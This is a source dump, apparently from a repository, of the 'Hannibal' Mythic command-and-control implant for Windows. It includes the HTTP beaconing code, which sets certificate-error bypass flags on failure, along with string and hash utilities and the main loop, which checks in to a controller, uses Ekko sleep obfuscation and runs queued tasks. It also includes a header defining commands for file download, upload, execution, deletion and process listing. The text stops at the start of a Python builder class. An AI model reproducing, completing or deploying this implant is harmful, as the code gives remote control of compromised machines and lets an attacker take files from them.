msg.dst_url, // URI 70 | // NULL, 71 | // NULL, 72 | // NULL, 73 | // NULL, 74 | // NULL 75 | // ); 76 | 77 | #ifdef CONFIG_CUSTOM_HEADERS 78 | LPCWSTR headers[] = CONFIG_CUSTOM_HEADERS; 79 | int header_count = sizeof(headers) / sizeof(headers[0]); 80 | 81 | for (int i = 0; i < header_count; i++) { 82 | hannibal_instance_ptr->Win32.HttpAddRequestHeadersW(hHttpFile, headers[i], -1, HTTP_ADDREQ_FLAG_ADD); 83 | } 84 | #endif 85 | 86 | hannibal_instance_ptr->Win32.InternetSetOptionW(hHttpFile, INTERNET_OPTION_SEND_TIMEOUT, &SEND_TIMEOUT, sizeof(SEND_TIMEOUT)); 87 | hannibal_instance_ptr->Win32.InternetSetOptionW(hHttpFile, INTERNET_OPTION_RECEIVE_TIMEOUT, &RECEIVE_TIMEOUT, sizeof(RECEIVE_TIMEOUT)); 88 | 89 | // If controller/redirector uses self-sign cert, then bug: 90 | // https://learn.microsoft.com/en-us/windows/win32/winhttp/error-messages 91 | // https://www.betaarchive.com/wiki/index.php/Microsoft_KB_Archive/182888 92 | // https://www.experts-exchange.com/questions/21843991/WinInet-HTTP-SDK-have-problem-with-dealing-untrusted-root-CA-Web-Server.html 93 | if(!hannibal_instance_ptr->Win32.HttpSendRequestW(hHttpFile, NULL, 0, msg.content, msg.content_length)){ 94 | 95 | DWORD err = hannibal_instance_ptr->Win32.GetLastError(); 96 | 97 | DWORD dwFlags; 98 | DWORD dwBuffLen = sizeof(dwFlags); 99 | hannibal_instance_ptr->Win32.InternetQueryOptionW(hHttpFile, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&dwFlags, &dwBuffLen); 100 | 101 | switch (err) { 102 | case ERROR_INTERNET_SEC_CERT_CN_INVALID: 103 | dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA; 104 | break; 105 | case ERROR_INTERNET_SEC_CERT_DATE_INVALID: 106 | dwFlags |= ERROR_INTERNET_SEC_CERT_DATE_INVALID; 107 | break; 108 | case ERROR_INTERNET_INVALID_CA: 109 | dwFlags |= ERROR_INTERNET_INVALID_CA; 110 | break; 111 | } 112 | 113 | hannibal_instance_ptr->Win32.InternetSetOptionW(hHttpFile, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags)); 114 | 115 | BOOL result; 116 | result = hannibal_instance_ptr->Win32.HttpSendRequestW(hHttpFile, NULL, 0, msg.content, msg.content_length); 117 | 118 | if(!result){ 119 | hannibal_instance_ptr->Win32.InternetCloseHandle(hHttpFile); 120 | hannibal_instance_ptr->Win32.InternetCloseHandle(hConnect); 121 | hannibal_instance_ptr->Win32.InternetCloseHandle(hInternet); 122 | 123 | from_utility_http_wininet_msg ret; 124 | ret.bytes_read = NULL; 125 | ret.content = NULL; 126 | 127 | return ret; 128 | } 129 | } 130 | 131 | DWORD current_buffer_size = 4096; 132 | LPVOID buffer = hannibal_instance_ptr->Win32.VirtualAlloc(NULL, current_buffer_size, MEM_COMMIT, PAGE_READWRITE); 133 | 134 | if (buffer == NULL) { 135 | return; 136 | } 137 | 138 | DWORD bytes_read; 139 | DWORD total_bytes_read = 0; 140 | BOOL b_read; 141 | 142 | while (TRUE) { 143 | if (total_bytes_read >= current_buffer_size) { 144 | DWORD new_buffer_size = current_buffer_size * 2; 145 | LPVOID new_buffer = hannibal_instance_ptr->Win32.VirtualAlloc(NULL, new_buffer_size, MEM_COMMIT, PAGE_READWRITE); 146 | 147 | if (new_buffer == NULL) { 148 | break; 149 | } 150 | 151 | for (DWORD i = 0; i < total_bytes_read; i++) { 152 | ((CHAR*)new_buffer)[i] = ((CHAR*)buffer)[i]; 153 | } 154 | 155 | hannibal_instance_ptr->Win32.VirtualFree(buffer, 0, MEM_RELEASE); 156 | buffer = new_buffer; 157 | current_buffer_size = new_buffer_size; 158 | } 159 | 160 | b_read = hannibal_instance_ptr->Win32.InternetReadFile( 161 | hHttpFile, 162 | (LPVOID)((CHAR*)buffer + total_bytes_read), // Write to the end of the currently read data 163 | current_buffer_size - total_bytes_read, 164 | &bytes_read 165 | ); 166 | 167 | total_bytes_read += bytes_read; 168 | 169 | if (!b_read || bytes_read == 0) { // End of stream or read error 170 | break; 171 | } 172 | 173 | } 174 | 175 | ((CHAR*)buffer)[total_bytes_read] = '\0'; 176 | 177 | hannibal_instance_ptr->Win32.InternetCloseHandle(hHttpFile); 178 | hannibal_instance_ptr->Win32.InternetCloseHandle(hConnect); 179 | hannibal_instance_ptr->Win32.InternetCloseHandle(hInternet); 180 | 181 | from_utility_http_wininet_msg ret; 182 | ret.bytes_read = total_bytes_read; 183 | ret.content = buffer; // Ensure this gets freed after use 184 | 185 | return ret; 186 | } -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/utility_strings.c: -------------------------------------------------------------------------------- 1 | #include "utility_strings.h" 2 | 3 | /** 4 | * TODO: Cleanup. Functions are inconsistent in design and operation. 5 | */ 6 | 7 | 8 | 9 | /*! 10 | * @brief 11 | * Hashing data 12 | * 13 | * @param String 14 | * Data/String to hash 15 | * 16 | * @param Length 17 | * size of data/string to hash. 18 | * if 0 then hash data til null terminator is found. 19 | * 20 | * @return 21 | * hash of specified data/string 22 | */ 23 | SECTION_CODE ULONG HashString( 24 | _In_ PVOID String, 25 | _In_ SIZE_T Length 26 | ) { 27 | ULONG Hash = { 0 }; 28 | PUCHAR Ptr = { 0 }; 29 | UCHAR Char = { 0 }; 30 | 31 | if ( ! String ) { 32 | return 0; 33 | } 34 | 35 | Hash = H_MAGIC_KEY; 36 | Ptr = ( ( PUCHAR ) String ); 37 | 38 | do { 39 | Char = *Ptr; 40 | 41 | if ( ! Length ) { 42 | if ( ! *Ptr ) break; 43 | } else { 44 | if ( (UINT_PTR)( Ptr - (UINT_PTR)( String ) ) >= Length ) break; 45 | if ( !*Ptr ) ++Ptr; 46 | } 47 | 48 | if ( Char >= 'a' ) { 49 | Char -= 0x20; 50 | } 51 | 52 | Hash = ( ( Hash << 5 ) + Hash ) + Char; 53 | 54 | ++Ptr; 55 | } while ( TRUE ); 56 | 57 | return Hash; 58 | } 59 | 60 | 61 | 62 | SECTION_CODE char* pic_strcpy(char* dest, const char* src) 63 | { 64 | char* d = dest; 65 | const char* s = src; 66 | 67 | // Copy characters one by one until the null terminator is found 68 | while ((*d++ = *s++)) { 69 | // Loop continues until null terminator is copied 70 | } 71 | 72 | return dest; 73 | } 74 | 75 | SECTION_CODE size_t pic_strlen(const char *str) 76 | { // Len not including null terminator 77 | const char *s = str; 78 | while (*s != '\0') { 79 | s++; 80 | } 81 | return (size_t)(s - str); 82 | } 83 | 84 | SECTION_CODE size_t pic_strlenW(const wchar_t *wstr) 85 | { 86 | const wchar_t *s = wstr; 87 | while (*s != L'\0') { 88 | s++; 89 | } 90 | return (size_t)(s - wstr); 91 | } 92 | 93 | /* 94 | 0: If the strings are identical up to the end of the shortest string (i.e., they are equal). 95 | Positive Value: If the first differing character in str1 is greater than the corresponding character in str2. 96 | Negative Value: If the first differing character in str1 is less than the corresponding character in str2. 97 | */ 98 | SECTION_CODE int pic_strcmp(const char *str1, const char *str2) 99 | { 100 | while (*str1 && (*str1 == *str2)) { 101 | str1++; 102 | str2++; 103 | } 104 | return (*(unsigned char *)str1 - *(unsigned char *)str2); 105 | } 106 | 107 | SECTION_CODE int pic_strcmpW(const wchar_t *wstr1, const wchar_t *wstr2) 108 | { 109 | while (*wstr1 && (*wstr1 == *wstr2)) { 110 | wstr1++; 111 | wstr2++; 112 | } 113 | return (int)(*wstr1 - *wstr2); 114 | } 115 | 116 | SECTION_CODE int pic_strncmp(const char *s1, const char *s2, size_t n) 117 | { 118 | // Compare up to `n` characters or until a null terminator is encountered 119 | while (n > 0 && *s1 && *s2) { 120 | if (*s1 != *s2) { 121 | return (unsigned char)*s1 - (unsigned char)*s2; 122 | } 123 | s1++; 124 | s2++; 125 | n--; 126 | } 127 | 128 | // If we've exhausted the `n` characters, or one string ended 129 | if (n == 0) { 130 | return 0; 131 | } 132 | 133 | // If any of the strings are terminated, return the difference of the characters 134 | if (*s1 != *s2) { 135 | return (unsigned char)*s1 - (unsigned char)*s2; 136 | } 137 | 138 | return 0; 139 | } 140 | 141 | SECTION_CODE char *pic_strncpy(char *dest, const char *src, size_t n) 142 | { 143 | char *d = dest; 144 | const char *s = src; 145 | 146 | while (n > 0) { 147 | if (*s == '\0') { 148 | // If the source string ends, fill the rest with null bytes 149 | *d = '\0'; 150 | while (--n > 0) { 151 | *(++d) = '\0'; 152 | } 153 | break; 154 | } 155 | // Copy the character from source to destination 156 | *d++ = *s++; 157 | --n; 158 | } 159 | 160 | // If n reaches 0, ensure null-termination 161 | if (n == 0) { 162 | *d = '\0'; 163 | } 164 | 165 | return dest; 166 | } 167 | 168 | SECTION_CODE void pic_strcat(char *str1, char *str2) 169 | { 170 | 171 | int i, j=0; 172 | 173 | // Otherwise If UUID not intialized, segfault 174 | // if(str2 != '0x00'){ 175 | // return; 176 | // } 177 | 178 | //Copying string 2 to the end of string 1 179 | for( i=pic_strlen(str1); str2[j]!='\0'; i++ ) { 180 | str1[i]=str2[j]; 181 | j++; 182 | } 183 | 184 | str1[i]='\0'; 185 | } 186 | 187 | SECTION_CODE void pic_strcatW(wchar_t *wstr1, wchar_t *wstr2) 188 | { 189 | // Find the end of the first wide string 190 | wchar_t *end = wstr1; 191 | while (*end != L'\0') { 192 | end++; 193 | } 194 | 195 | // Append the second wide string to the end of the first one 196 | while (*wstr2 != L'\0') { 197 | *end = *wstr2; 198 | end++; 199 | wstr2++; 200 | } 201 | 202 | // Null-terminate the concatenated string 203 | *end = L'\0'; 204 | } 205 | 206 | // Helper function to convert DWORD to WCHAR string 207 | SECTION_CODE void dword_to_wchar(DWORD value, WCHAR* buffer, int base) 208 | { 209 | WCHAR* ptr = buffer; 210 | WCHAR* ptr1 = buffer; 211 | WCHAR tmp_char; 212 | DWORD quotient = value; 213 | 214 | // Handle 0 explicitly 215 | if (value == 0) { 216 | *ptr++ = L'0'; 217 | *ptr = L'\0'; 218 | return; 219 | } 220 | 221 | // Convert to string 222 | while (quotient != 0) { 223 | DWORD digit = quotient % base; 224 | *ptr++ = (WCHAR)(digit < 10 ? L'0' + digit : L'A' + digit - 10); 225 | quotient /= base; 226 | } 227 | *ptr-- = L'\0'; 228 | 229 | // Reverse the string 230 | while (ptr1 < ptr) { 231 | tmp_char = *ptr; 232 | *ptr-- = *ptr1; 233 | *ptr1++ = tmp_char; 234 | } 235 | } 236 | 237 | 238 | SECTION_CODE void ulong_to_wchar(ULONG64 value, WCHAR *buffer) 239 | { 240 | WCHAR* ptr = buffer; 241 | WCHAR* ptr1 = buffer; 242 | WCHAR tmp_char; 243 | ULONG64 quotient = value; 244 | 245 | // Handle 0 explicitly 246 | if (value == 0) { 247 | *ptr++ = L'0'; 248 | *ptr = L'\0'; 249 | return; 250 | } 251 | 252 | // Convert to string 253 | while (quotient != 0) { 254 | ULONG64 digit = quotient % 10; 255 | *ptr++ = (WCHAR)(digit < 10 ? L'0' + digit : L'A' + digit - 10); 256 | quotient /= 10; 257 | } 258 | *ptr-- = L'\0'; 259 | 260 | // Reverse the string 261 | while (ptr1 < ptr) { 262 | tmp_char = *ptr; 263 | *ptr-- = *ptr1; 264 | *ptr1++ = tmp_char; 265 | } 266 | } -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/hannibal.c: -------------------------------------------------------------------------------- 1 | /** 2 | * This is the heart of the agent. It runs the primary loop. 3 | * Tasks Handled: 4 | * Sets configurations 5 | * Resolves function pointers 6 | * Initializes all queues 7 | * Generates Encryption Key for Sleep 8 | * Checks Agent In 9 | * Gets Tasks 10 | * Executes Tasks 11 | * Sends Task Responses 12 | */ 13 | 14 | 15 | #include "hannibal.h" 16 | #include "hannibal_tasking.h" 17 | 18 | #ifdef PROFILE_MYTHIC_HTTP 19 | #include "profile_mythic_http.h" 20 | #endif 21 | 22 | 23 | /** 24 | * This section enables compiling as a PIC bin or an exe for debugging. 25 | * Use windows_makefile or linux_makefile for the .bin, debug_makefile for 26 | * the exe. 27 | */ 28 | 29 | ////////////////////////////////////////////////// PIC BUILD 30 | 31 | #ifdef PIC_BUILD 32 | 33 | SECTION_CODE VOID Hannibal( 34 | _In_ PVOID Param 35 | ) { 36 | PINSTANCE hannibal_instance_ptr = (PINSTANCE)*(PVOID*)((PVOID)((UINT_PTR)StRipStart() + (UINT_PTR)&__Instance_offset)); 37 | 38 | #else 39 | 40 | ////////////////////////////////////////////////// DEBUG BUILD 41 | 42 | // Global Variable Instance 43 | INSTANCE hannibal_instance; 44 | PINSTANCE hannibal_instance_ptr = &hannibal_instance; 45 | 46 | int main( 47 | _In_ PVOID Param 48 | ) { 49 | 50 | #endif 51 | 52 | hannibal_instance_ptr->config.sleep = CONFIG_SLEEP; 53 | hannibal_instance_ptr->config.jitter = CONFIG_SLEEP_JITTER; 54 | 55 | /////////////////////////// Set Communication Profile 56 | 57 | hannibal_instance_ptr->config.checked_in = FALSE; 58 | 59 | hannibal_instance_ptr->config.controller_host = CONFIG_HOST; 60 | hannibal_instance_ptr->config.http_method = L"POST"; // TODO: Add more methods than just POST. 61 | hannibal_instance_ptr->config.user_agent = CONFIG_UA; 62 | hannibal_instance_ptr->config.controller_url = CONFIG_POST_URI; 63 | hannibal_instance_ptr->config.uuid = CONFIG_UUID; 64 | 65 | // Load needed DLLs and resolve functions into the instance. 66 | hannibal_resolve_pointers(); 67 | 68 | // Create TASK queue structure on heap and track pointer. Doesn't get freed. 69 | hannibal_instance_ptr->tasks.tasks_queue = (TASK_QUEUE *)hannibal_instance_ptr->Win32.VirtualAlloc(NULL, sizeof(TASK_QUEUE), MEM_COMMIT, PAGE_READWRITE); 70 | 71 | if(!init_task_queue(hannibal_instance_ptr->tasks.tasks_queue, TASK_CIRCULAR_QUEUE_SIZE)){ 72 | return NULL; 73 | } 74 | 75 | // Create TASK queue structure on heap and track pointer. Doesn't get freed. 76 | hannibal_instance_ptr->tasks.tasks_response_queue = (TASK_QUEUE *)hannibal_instance_ptr->Win32.VirtualAlloc(NULL, sizeof(TASK_QUEUE), MEM_COMMIT, PAGE_READWRITE); 77 | 78 | if(!init_task_response_queue(hannibal_instance_ptr->tasks.tasks_response_queue, TASK_CIRCULAR_QUEUE_SIZE)){ 79 | return NULL; 80 | } 81 | 82 | // Initialize all cmd function pointers into hannibal instance 83 | init_task_ptrs(); 84 | 85 | // For download tracking 86 | hannibal_instance_ptr->tasks.file_downloads = (FILE_DOWNLOAD *)hannibal_instance_ptr->Win32.VirtualAlloc(NULL, sizeof(FILE_DOWNLOAD) * CONCURRENT_FILE_DOWNLOADS, MEM_COMMIT, PAGE_READWRITE); 87 | 88 | for (int i = 0; i < CONCURRENT_FILE_DOWNLOADS; i++){ 89 | hannibal_instance_ptr->tasks.file_downloads[i].download_uuid = NULL; 90 | } 91 | 92 | // For upload tracking 93 | hannibal_instance_ptr->tasks.file_uploads = (FILE_UPLOAD *)hannibal_instance_ptr->Win32.VirtualAlloc(NULL, sizeof(FILE_UPLOAD) * CONCURRENT_FILE_DOWNLOADS, MEM_COMMIT, PAGE_READWRITE); 94 | 95 | for (int i = 0; i < CONCURRENT_FILE_UPLOADS; i++){ 96 | hannibal_instance_ptr->tasks.file_uploads[i].upload_uuid = NULL; 97 | } 98 | 99 | 100 | // Set up Encryption 101 | 102 | hannibal_instance_ptr->config.encrypt_key = (UINT8 *)hannibal_instance_ptr->Win32.VirtualAlloc(NULL, ENCRYPT_KEY_SIZE, MEM_COMMIT, PAGE_READWRITE); 103 | hannibal_instance_ptr->config.encrypt_key_size = ENCRYPT_KEY_SIZE; 104 | 105 | // Encrypts network messages. 106 | char encrypt_key[] = CONFIG_ENCRYPT_KEY; 107 | pic_memcpy(hannibal_instance_ptr->config.encrypt_key, encrypt_key, ENCRYPT_KEY_SIZE); 108 | 109 | // Currently used by Ekko to encrypt the sleeping agent. 110 | ULONG seed = pic_rand_number_32(); 111 | hannibal_instance_ptr->config.local_encryption_key = (UINT8 *)hannibal_instance_ptr->Win32.VirtualAlloc(NULL, LOCAL_ENCRYPT_KEY_SIZE, MEM_COMMIT, PAGE_READWRITE); 112 | hannibal_instance_ptr->config.local_encryption_key_size = LOCAL_ENCRYPT_KEY_SIZE; 113 | 114 | for (int i = 0; i < LOCAL_ENCRYPT_KEY_SIZE; i++){ 115 | hannibal_instance_ptr->config.local_encryption_key[i] = (CHAR)gen_random_byte(&seed); 116 | } 117 | 118 | // Checkin Loop. 119 | // Keep trying to checkin if fail. 120 | while(hannibal_instance_ptr->config.checked_in == FALSE){ 121 | 122 | ULONG sleep = generate_sleep_with_jitter(hannibal_instance_ptr->config.sleep, hannibal_instance_ptr->config.jitter); 123 | 124 | #ifdef PROFILE_MYTHIC_HTTP 125 | mythic_http_checkin(); 126 | #endif 127 | // TODO: Add ifdef sleep switcher 128 | utility_sleep_ekko(sleep, SLEEPOBF_EKKO); 129 | // hannibal_instance_ptr->Win32.Sleep(3000); 130 | } 131 | 132 | // Primary loop. 133 | while(1){ 134 | 135 | ULONG sleep = generate_sleep_with_jitter(hannibal_instance_ptr->config.sleep, hannibal_instance_ptr->config.jitter); 136 | 137 | #ifdef PROFILE_MYTHIC_HTTP 138 | mythic_http_get_tasks(); 139 | #endif 140 | utility_sleep_ekko(sleep, SLEEPOBF_EKKO); 141 | hannibal_exec_tasks(); 142 | 143 | #ifdef PROFILE_MYTHIC_HTTP 144 | mythic_http_post_tasks(); 145 | #endif 146 | } 147 | } 148 | 149 | /** 150 | * Execute all queued commands. 151 | */ 152 | SECTION_CODE void hannibal_exec_tasks() 153 | { 154 | HANNIBAL_INSTANCE_PTR 155 | 156 | for (int i = hannibal_instance_ptr->tasks.tasks_queue->size; i > 0; i--){ 157 | 158 | TASK exec_task; 159 | task_dequeue(hannibal_instance_ptr->tasks.tasks_queue, &exec_task); 160 | 161 | for(int j = 0; j < hannibal_instance_ptr->tasks.task_func_ptrs_size; j++){ 162 | if(hannibal_instance_ptr->tasks.task_func_ptrs[j].cmd_id == exec_task.cmd_id){ 163 | hannibal_instance_ptr->tasks.task_func_ptrs[j].cmd_ptr(exec_task); 164 | break; 165 | } 166 | } 167 | } 168 | } 169 | 170 | 171 | SECTION_CODE ULONG generate_sleep_with_jitter(ULONG sleep, ULONG jitter) 172 | { 173 | HANNIBAL_INSTANCE_PTR 174 | 175 | ULONG jitter_amount = (hannibal_instance_ptr->config.sleep * hannibal_instance_ptr->config.jitter) / 100; // jitter percentage of sleep 176 | ULONG min_sleep = hannibal_instance_ptr->config.sleep > jitter_amount ? hannibal_instance_ptr->config.sleep - jitter_amount : 0; // min 177 | ULONG max_sleep = hannibal_instance_ptr->config.sleep + jitter_amount; // max 178 | ULONG range = max_sleep - min_sleep + 1; 179 | ULONG random_offset = pic_rand_number_32() % range; 180 | 181 | return (min_sleep + random_offset) * 1000; // Time in ms 182 | } -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/include/hannibal_tasking.h: -------------------------------------------------------------------------------- 1 | #ifndef HANNIBAL_TASKING_H 2 | #define HANNIBAL_TASKING_H 3 | 4 | #include 5 | #include "hannibal.h" 6 | #include "utility_strings.h" 7 | #include "utility_serialization.h" 8 | 9 | 10 | #define TASK_CIRCULAR_QUEUE_SIZE 10 11 | #define TASK_RESPONSE_CIRCULAR_QUEUE_SIZE 10 12 | 13 | #ifdef PIC_BUILD 14 | #define FUNC_OFFSET( x ) ((UINT_PTR)StRipStart() + (DWORD)&x) 15 | #else 16 | #define FUNC_OFFSET( x ) (&x) 17 | #endif 18 | 19 | 20 | /////////////////////// Task CMDs 21 | 22 | // Network message encodings 23 | 24 | #ifdef INCLUDE_CMD_LS 25 | #define CMD_LS_MESSAGE 1 26 | #endif 27 | 28 | #ifdef INCLUDE_CMD_EXIT 29 | #define CMD_EXIT_MESSAGE 2 30 | #endif 31 | 32 | #ifdef INCLUDE_CMD_DOWNLOAD 33 | #define CMD_DOWNLOAD_MESSAGE 3 34 | #endif 35 | 36 | #ifdef INCLUDE_CMD_UPLOAD 37 | #define CMD_UPLOAD_MESSAGE 4 38 | #endif 39 | 40 | #ifdef INCLUDE_CMD_EXECUTE_HBIN 41 | #define CMD_EXECUTE_HBIN_MESSAGE 5 42 | #endif 43 | 44 | #ifdef INCLUDE_CMD_RM 45 | #define CMD_RM_MESSAGE 6 46 | #endif 47 | 48 | #ifdef INCLUDE_CMD_PWD 49 | #define CMD_PWD_MESSAGE 7 50 | #endif 51 | 52 | #ifdef INCLUDE_CMD_CD 53 | #define CMD_CD_MESSAGE 8 54 | #endif 55 | 56 | #ifdef INCLUDE_CMD_CP 57 | #define CMD_CP_MESSAGE 9 58 | #endif 59 | 60 | #ifdef INCLUDE_CMD_MV 61 | #define CMD_MV_MESSAGE 10 62 | #endif 63 | 64 | #ifdef INCLUDE_CMD_HOSTNAME 65 | #define CMD_HOSTNAME_MESSAGE 11 66 | #endif 67 | 68 | #ifdef INCLUDE_CMD_WHOAMI 69 | #define CMD_WHOAMI_MESSAGE 12 70 | #endif 71 | 72 | #ifdef INCLUDE_CMD_MKDIR 73 | #define CMD_MKDIR_MESSAGE 13 74 | #endif 75 | 76 | #ifdef INCLUDE_CMD_PS 77 | #define CMD_PS_MESSAGE 14 78 | #endif 79 | 80 | #ifdef INCLUDE_CMD_IPINFO 81 | #define CMD_IPINFO_MESSAGE 15 82 | #endif 83 | 84 | #ifdef INCLUDE_CMD_LISTDRIVES 85 | #define CMD_LISTDRIVES_MESSAGE 16 86 | #endif 87 | 88 | #ifdef INCLUDE_CMD_EXECUTE 89 | #define CMD_EXECUTE_MESSAGE 17 90 | #endif 91 | 92 | #ifdef INCLUDE_CMD_SLEEP 93 | #define CMD_SLEEP_MESSAGE 18 94 | #endif 95 | 96 | #ifdef INCLUDE_CMD_AGENTINFO 97 | #define CMD_AGENTINFO_MESSAGE 19 98 | #endif 99 | 100 | // Typedefs used to pass args to its respective cmd 101 | 102 | #ifdef INCLUDE_CMD_LS 103 | typedef struct _CMD_LS { 104 | LPCWSTR path; 105 | } CMD_LS; 106 | #endif 107 | 108 | #ifdef INCLUDE_CMD_EXIT 109 | typedef struct _CMD_EXIT { 110 | int type; // 0 - Process, 1 - Current Thread 111 | } CMD_EXIT; 112 | #endif 113 | 114 | #ifdef INCLUDE_CMD_DOWNLOAD 115 | typedef struct _CMD_DOWNLOAD { // Agent > Controller 116 | LPCWSTR path; 117 | } CMD_DOWNLOAD; 118 | #endif 119 | 120 | #ifdef INCLUDE_CMD_EXECUTE_HBIN 121 | typedef struct _CMD_EXECUTE_HBIN { // Agent > Controller 122 | LPVOID args; 123 | int arg_size; 124 | LPVOID hbin; 125 | int hbin_size; 126 | } CMD_EXECUTE_HBIN; 127 | #endif 128 | 129 | #ifdef INCLUDE_CMD_RM 130 | typedef struct _CMD_RM { 131 | LPCWSTR path; 132 | } CMD_RM; 133 | #endif 134 | 135 | #ifdef INCLUDE_CMD_PWD 136 | typedef struct _CMD_PWD { 137 | // Takes no args 138 | } CMD_PWD; 139 | #endif 140 | 141 | #ifdef INCLUDE_CMD_CD 142 | typedef struct _CMD_CD { 143 | LPCWSTR path; 144 | } CMD_CD; 145 | #endif 146 | 147 | #ifdef INCLUDE_CMD_CP 148 | typedef struct _CMD_CP { 149 | LPCWSTR src_path; 150 | LPCWSTR dst_path; 151 | } CMD_CP; 152 | #endif 153 | 154 | #ifdef INCLUDE_CMD_MV 155 | typedef struct _CMD_MV { 156 | LPCWSTR src_path; 157 | LPCWSTR dst_path; 158 | } CMD_MV; 159 | #endif 160 | 161 | #ifdef INCLUDE_CMD_HOSTNAME 162 | typedef struct _CMD_HOSTNAME { 163 | // Takes no args 164 | } CMD_HOSTNAME; 165 | #endif 166 | 167 | #ifdef INCLUDE_CMD_WHOAMI 168 | typedef struct _CMD_WHOAMI { 169 | // Takes no args 170 | } CMD_WHOAMI; 171 | #endif 172 | 173 | #ifdef INCLUDE_CMD_MKDIR 174 | typedef struct _CMD_MKDIR { 175 | LPCWSTR path; 176 | } CMD_MKDIR; 177 | #endif 178 | 179 | #ifdef INCLUDE_CMD_PS 180 | typedef struct _CMD_PS { 181 | // Takes no args 182 | } CMD_PS; 183 | #endif 184 | 185 | #ifdef INCLUDE_CMD_IPINFO 186 | typedef struct _CMD_IPINFO { 187 | // Takes no args 188 | } CMD_IPINFO; 189 | #endif 190 | 191 | #ifdef INCLUDE_CMD_LISTDRIVES 192 | typedef struct _CMD_LISTDRIVES { 193 | // Takes no args 194 | } CMD_LISTDRIVES; 195 | #endif 196 | 197 | #ifdef INCLUDE_CMD_EXECUTE 198 | typedef struct _CMD_EXECUTE { 199 | LPCWSTR path; 200 | } CMD_EXECUTE; 201 | #endif 202 | 203 | #ifdef INCLUDE_CMD_SLEEP 204 | typedef struct _CMD_SLEEP { 205 | UINT32 interval; 206 | UINT32 jitter; 207 | } CMD_SLEEP; 208 | #endif 209 | 210 | #ifdef INCLUDE_CMD_AGENTINFO 211 | typedef struct _CMD_AGENTINFO { 212 | // Takes no args 213 | } CMD_AGENTINFO; 214 | #endif 215 | 216 | 217 | /////////////////////// Task Structures 218 | 219 | 220 | typedef struct _TASK { 221 | char *task_uuid; // Tracking on the controller 222 | int cmd_id; // Identify specific function to execute 223 | int timestamp; 224 | void *cmd; 225 | LPCSTR output; 226 | int output_size; 227 | } TASK, *PTASK; 228 | 229 | typedef struct _TASK_QUEUE { 230 | int front; 231 | int rear; 232 | int size; // How many tasks in queue 233 | int capacity; // How many tasks can it hold 234 | TASK *queue_ptr; 235 | } TASK_QUEUE, *PTASK_QUEUE; 236 | 237 | typedef struct _TASK_ENTRY { 238 | int cmd_id; 239 | (*cmd_ptr)(TASK t); 240 | } TASK_ENTRY; 241 | 242 | 243 | void init_task_ptrs(); 244 | BOOL init_task_queue(TASK_QUEUE *queue_ptr, int capacity); 245 | BOOL init_task_response_queue(TASK_QUEUE *queue_ptr, int capacity); 246 | BOOL task_enqueue(TASK_QUEUE *queue_struct, TASK *TASK); 247 | BOOL task_dequeue(TASK_QUEUE *queue_struct, TASK *TASK); 248 | void hannibal_response(LPCWSTR message, LPCSTR task_uuid); 249 | 250 | ///////////////////////////////////////////////////// CMD Defs 251 | 252 | #ifdef INCLUDE_CMD_LS 253 | void format_time(SYSTEMTIME *st, WCHAR *buffer); 254 | void format_size(ULONGLONG size, WCHAR *buffer); 255 | void append_to_buffer(WCHAR *buffer, int *cursor, const WCHAR *str); 256 | // void format_unix_time(SYSTEMTIME *st, WCHAR *buffer); 257 | #endif 258 | 259 | #ifdef INCLUDE_CMD_RM 260 | int contains_wildcard(LPCWSTR path); 261 | void delete_files_by_pattern(LPCWSTR directory, LPCWSTR pattern); 262 | #endif 263 | 264 | #ifdef INCLUDE_CMD_CP 265 | void copy_directory(LPCWSTR sourceDir, LPCWSTR destDir); 266 | #endif 267 | 268 | 269 | // Add your forward declaration here and add an entry in init_task_ptrs() (hannibal_tasking.c) 270 | 271 | #ifdef INCLUDE_CMD_LS 272 | void cmd_ls(TASK t); 273 | #endif 274 | 275 | #ifdef INCLUDE_CMD_EXIT 276 | void cmd_exit(TASK t); 277 | #endif 278 | 279 | #ifdef INCLUDE_CMD_EXECUTE_HBIN 280 | void cmd_execute_hbin(TASK t); 281 | #endif 282 | 283 | #ifdef INCLUDE_CMD_RM 284 | void cmd_rm(TASK t); 285 | #endif 286 | 287 | #ifdef INCLUDE_CMD_PWD 288 | void cmd_pwd(TASK t); 289 | #endif 290 | 291 | #ifdef INCLUDE_CMD_CD 292 | void cmd_cd(TASK t); 293 | #endif 294 | 295 | #ifdef INCLUDE_CMD_CP 296 | void cmd_cp(TASK t); 297 | #endif 298 | 299 | #ifdef INCLUDE_CMD_MV 300 | void cmd_mv(TASK t); 301 | #endif 302 | 303 | #ifdef INCLUDE_CMD_HOSTNAME 304 | void cmd_hostname(TASK t); 305 | #endif 306 | 307 | #ifdef INCLUDE_CMD_WHOAMI 308 | void cmd_whoami(TASK t); 309 | #endif 310 | 311 | #ifdef INCLUDE_CMD_MKDIR 312 | void cmd_mkdir(TASK t); 313 | #endif 314 | 315 | #ifdef INCLUDE_CMD_PS 316 | void cmd_ps(TASK t); 317 | #endif 318 | 319 | #ifdef INCLUDE_CMD_IPINFO 320 | void cmd_ipinfo(TASK t); 321 | #endif 322 | 323 | #ifdef INCLUDE_CMD_LISTDRIVES 324 | void cmd_listdrives(TASK t); 325 | #endif 326 | 327 | #ifdef INCLUDE_CMD_EXECUTE 328 | void cmd_execute(TASK t); 329 | #endif 330 | 331 | #ifdef INCLUDE_CMD_SLEEP 332 | void cmd_sleep(TASK t); 333 | #endif 334 | 335 | #ifdef INCLUDE_CMD_AGENTINFO 336 | void cmd_agentinfo(TASK t); 337 | #endif 338 | 339 | 340 | #endif -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/mythic/agent_functions/builder.py: -------------------------------------------------------------------------------- 1 | # TODO: Cleanup. 2 | 3 | import base64 4 | import shutil 5 | import pathlib 6 | import os, fnmatch, tempfile, sys, asyncio, subprocess, re 7 | 8 | from mythic_container.MythicRPC import * 9 | from mythic_container.PayloadBuilder import * 10 | from mythic_container.MythicCommandBase import * 11 | 12 | 13 | class hannibal(PayloadType): 14 | 15 | name = "hannibal" 16 | file_extension = "bin" 17 | author = "@silentwarble" 18 | mythic_encrypts = True 19 | translation_container = "hannibal_python_translator" 20 | 21 | supported_os = [ 22 | SupportedOS.Windows 23 | ] 24 | 25 | version = "v1.0.3" 26 | wrapper = False 27 | wrapped_payloads = [] 28 | 29 | 